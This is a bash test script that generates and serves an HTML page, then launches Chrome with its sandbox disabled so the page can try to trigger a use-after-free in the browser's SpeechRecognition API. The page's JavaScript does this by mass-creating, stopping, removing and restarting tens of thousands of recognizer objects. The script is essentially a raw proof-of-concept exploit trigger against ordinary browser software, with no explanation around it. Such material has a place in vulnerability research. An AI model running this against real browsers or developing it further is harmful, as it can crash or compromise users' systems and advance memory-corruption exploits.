test.sh

#!/bin/bash

# Exit on error
set -e

# Define variables
WORKDIR="$HOME/speech_recognition"
HTML_FILE="speech.html"
PORT=6662
CHROME_EXECUTABLE="/usr/bin/google-chrome" # Update if Chrome is installed elsewhere

# Check if Chrome is installed
if ! command -v "$CHROME_EXECUTABLE" &>/dev/null; then
    echo "Google Chrome is not installed. Please install it and try again."
    exit 1
fi

# Create the working directory
mkdir -p "$WORKDIR"

# Create the HTML file
cat > "$WORKDIR/$HTML_FILE" <<EOF
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SpeechRecognition</title>
</head>
<body>
    <h1>SpeechRecognition</h1>
    <button id="startButton">Start Speech Recognition</button>

    <script>
        let recognizers = [];

        function createSpeechRecognizers(count) {
            for (let i = 0; i < count; i++) {
                let recognition = new (window.SpeechRecognition || window.webkitSpeechRecognition)();
                recognizers.push(recognition);

                recognition.lang = 'en-US';
                recognition.interimResults = false;
                recognition.maxAlternatives = 1;

                recognition.onresult = function(event) {
                    let transcript = event.results[0][0].transcript;
                    console.log('Transcript from recognizer', i, ':', transcript);
                };

                recognition.onerror = function(event) {
                    console.error('Error in SpeechRecognition:', event.error);
                };

                recognition.onend = function() {
                    console.log('SpeechRecognition ended for instance:', i);
                };

                recognition.start();
                setTimeout(() => {
                    recognition.stop();
                    recognizers.splice(recognizers.indexOf(recognition), 1);
                }, Math.random() * 200);
            }
        }

        function triggerSpeechRecognitionUAF() {
            let totalRuns = 0;
            function deepCreateAndResume() {
                createSpeechRecognizers(50000);
                setTimeout(() => {
                    recognizers.forEach((recognition, index) => {
                        try {
                            if (recognition && recognition.readyState === 0) {
                                recognition.start();
                                console.log('Trying to resume SpeechRecognition:', index);
                            }
                        } catch (e) {
                            console.error('SpeechRecognition potential UAF:', e);
                        }
                    });
                }, 150);

                totalRuns++;
                if (totalRuns < 100) {
                    setTimeout(deepCreateAndResume, 100);
                }
            }
            deepCreateAndResume();
        }

        document.getElementById('startButton').addEventListener('click', () => {
            triggerSpeechRecognitionUAF();
        });
    </script>
</body>
</html>
EOF

# Navigate to the working directory
cd "$WORKDIR"

# Start a Python HTTP server on the specified port in the background
echo "Starting HTTP server at http://127.0.0.1:$PORT"
python3 -m http.server "$PORT" &

# Save the server's PID
SERVER_PID=$!

# Wait a moment for the server to start
sleep 2

# Open Chrome with the specified URL and options
echo "Opening Google Chrome..."
"$CHROME_EXECUTABLE" --no-sandbox "http://127.0.0.1:$PORT/$HTML_FILE"

# Kill the server process when Chrome exits
kill "$SERVER_PID"